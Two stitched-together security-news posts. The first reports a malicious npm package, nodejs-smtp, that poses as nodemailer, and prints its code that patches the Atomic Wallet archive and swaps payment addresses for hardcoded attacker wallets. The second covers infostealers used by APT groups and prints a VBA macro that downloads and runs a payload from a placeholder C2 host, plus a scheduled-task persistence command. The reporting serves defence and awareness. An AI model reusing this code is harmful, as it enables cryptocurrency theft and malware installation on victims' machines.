Security researchers at Socket.dev uncovered a sophisticated supply chain attack in late August 2025 leveraging a malicious npm package named nodejs-smtp, which masquerades as the widely used email library nodemailer, boasting approximately 3.9 million weekly downloads.

At first glance, nodejs-smtp operates identically to its legitimate counterpart, supplying a familiar API and successfully dispatching emails.

This deceptive functionality serves as a Trojan horse, engaging quietly in covert operations that prey on desktop cryptocurrency wallets installed on Windows systems.

As organizations continued to integrate open-source dependencies into their development pipelines, attackers recognized the potency of import-time tampering.

Socket.dev analysts noted that upon import, nodejs-smtp immediately invokes an Electron-based payload designed to infiltrate wallets such as Atomic Wallet and Exodus.

By unpacking the wallet’s app.asar archive, replacing a critical vendor bundle with malicious code, and then repackaging the archive, the attacker ensures persistence and stealth.

Following this manipulation, any transaction initiated by the compromised wallet is rerouted, substituting the intended recipient address with one controlled by the threat actor.

Socket.dev analysts further identified that the threat actor, operating under the npm alias nikotimon, embeds hardcoded wallet addresses directly into the injected payload.

These addresses include Bitcoin, Ethereum, Tether (both ERC-20 and TRC-20), XRP, and Solana, facilitating multichain theft.

Although initial download counts for nodejs-smtp were relatively low—approximately 342 at the time of discovery—the potential for widespread compromise remains high given nodemailer’s ubiquity in production environments.

In light of these findings, developers and security teams are urged to adopt rigorous supply chain defenses.

Recommended measures include real-time analysis of side-effect imports, strict enforcement of code-review policies for new dependencies, and deployment of automated tooling to flag archive-manipulation patterns during package installation.

The risk is amplified by the fact that build pipelines and continuous integration systems are unlikely to detect such tampering when dependencies appear functionally correct.

Infection Mechanism and Persistence Tactics

Delving deeper into nodejs-smtp’s infection strategy reveals a two-stage process that exploits Electron’s packaging format.

In the first stage, the package’s lib/engine/index.js script executes immediately upon import:-

// lib/engine/index.js
const os = require('os');
const fs = require('fs').promises;
const path = require('path');
const asar = require('asar');

async function patchAtomic() {
  try {
    const base    = path.join(os.homedir(), 'AppData', 'Local', 'Programs');
    const resDir  = path.join(base, 'atomic', 'resources');
    const asarIn  = path.join(resDir, 'app.asar');
    const workDir = path.join(resDir, 'output');
    const implant = path.join(__dirname, 'a.js');
    const target  = path.join(workDir, 'dist', 'electron', 'vendors.64b69c3b00e2a7914733.js');

    await fs.mkdir(workDir, { recursive: true });
    asar.extractAll(asarIn, workDir);
    await fs.copyFile(implant, target);
    asar.createPackage(workDir, asarIn);
    await fs.rm(workDir, { recursive: true, force: true });
  } catch {}
}

patchAtomic();

This routine unpacks the wallet archive, overwrites the vendor bundle with the malicious payload a.js, and repackages the integrity-checked archive to mask traces.

Upon the next wallet launch, a.js intercepts transaction construction and replaces the recipient address, ensuring every outgoing payment is diverted:

// lib/engine/a.js
async sendCoins() {
  if (await this.validatePassword()) {
    if (this.coin.ticker === 'BTC')
      this.inputs.address = '17CNLs7rHnnBsmsCWoTq7EakGZKEp5wpdy';
    else if (this.coin.ticker === 'ETH' || this.coin.ticker === 'USDT')
      this.inputs.address = '0x26Ce898b746910ccB21F4C6316A5e85BCEa39e24';
    // Additional mappings for TRX-USDT, XRP, SOL omitted
  }
}

By executing during import, nodejs-smtp avoids detection by static scanners that only inspect function calls at runtime. This persistent, import-time hook highlights the evolving threat landscape within open-source ecosystems, underscoring the need for supply chain–aware security measures.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post Malicious npm Package Mimics as Popular Nodemailer with Weekly 3.9 Million Downloads to Hijack Crypto Transactions appeared first on Cyber Security News.

Infostealer malware, initially designed to indiscriminately harvest credentials from compromised hosts, has evolved into a potent weapon for state-sponsored Advanced Persistent Threat (APT) groups.

Emerging in early 2023, families such as RedLine, Lumma, and StealC quickly proliferated across phishing campaigns and malicious downloads.

These infostealers cast wide nets, siphoning browser data, cookies, and system information, but recent intelligence reveals a troubling shift: stolen credentials are now being weaponized for highly targeted espionage operations.

The primary attack vectors for infostealers remain spear-phishing emails laced with macro-enabled documents or fake software installers.

Victims receive a Word attachment with a VBA macro that, when enabled, downloads the stealer payload from a command-and-control (C2) server.

Upon execution, the malware locates and exfiltrates stored credentials for email, VPN, and corporate SSO portals.

Infostealers analysts noted that compromised diplmatic credentials from multiple Ministries of Foreign Affairs have appeared in darknet dumps, providing authenticated access to high-value targets.

Impact assessments indicate that once APT groups gain valid diplomatic mailbox credentials—often via Infostealer infections—they can craft near-indistinguishable spear-phishing campaigns.

These campaigns bypass traditional detection by leveraging trusted sender reputations and valid TLS certificates.

By mid-2025, Hudson Rock’s threat intelligence platform detected over 1,400 compromised users at Qatar’s MFA and hundreds more across Saudi Arabia, South Korea, and the UAE, underscoring the global scale of this threat.

In one high-profile incident, a compromised Omani embassy account in Paris was used to relay malicious invites to UN officials. The email contained a Word document with a “sysProcUpdate” macro that executed the following VBA code snippet:

Sub AutoOpen()
    Dim objXML As Object
    Set objXML = CreateObject("MSXML2.XMLHTTP")
    objXML.Open "GET", "https://malicious.c2.server/payload.exe", False
    objXML.Send
    If objXML.Status = 200 Then
        With CreateObject("ADODB.Stream")
            .Type = 1
            .Open
            .Write objXML.responseBody
            .SaveToFile Environ("TEMP") & "\update.exe", 2
        End With
        Shell Environ("TEMP") & "\update.exe", vbHide
    End If
End Sub

Following delivery, the “update.exe” payload establishes persistence by creating a Windows Scheduled Task:

schtasks /Create /SC MINUTE /MO 15 /TN "SysProcUpdate" /TR "%TEMP%\update.exe"

Infostealers researchers identified that this persistence mechanism ensures repeat execution even after system reboots, facilitating long-term access.

Infection Mechanism

Delving deeper into the infection mechanism, infostealers exploit user trust and insufficient endpoint controls.

After initial compromise via phishing, the payload leverages common Windows APIs—such as CryptUnprotectData—to decrypt stored credentials from browsers and the Windows Credential Manager.

The exfiltration module then packages harvested data into encrypted blobs and transmits them over HTTPS to evade intrusion detection systems.

Once credentials reach the attacker’s infrastructure, APT groups use them as legitimate logins, bypassing multi-factor authentication in cases where only user-pass credentials are enforced.

By embedding the malware within routine-looking documents and mimicking legitimate maintenance tasks, infostealers maintain a low-and-slow profile, making detection exceptionally challenging.

This seamless exploitation of credential theft for targeted campaigns marks a worrying evolution in cyber-espionage tactics.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post Infostealer Malware is Being Exploited by APT Groups for Targeted Attacks appeared first on Cyber Security News.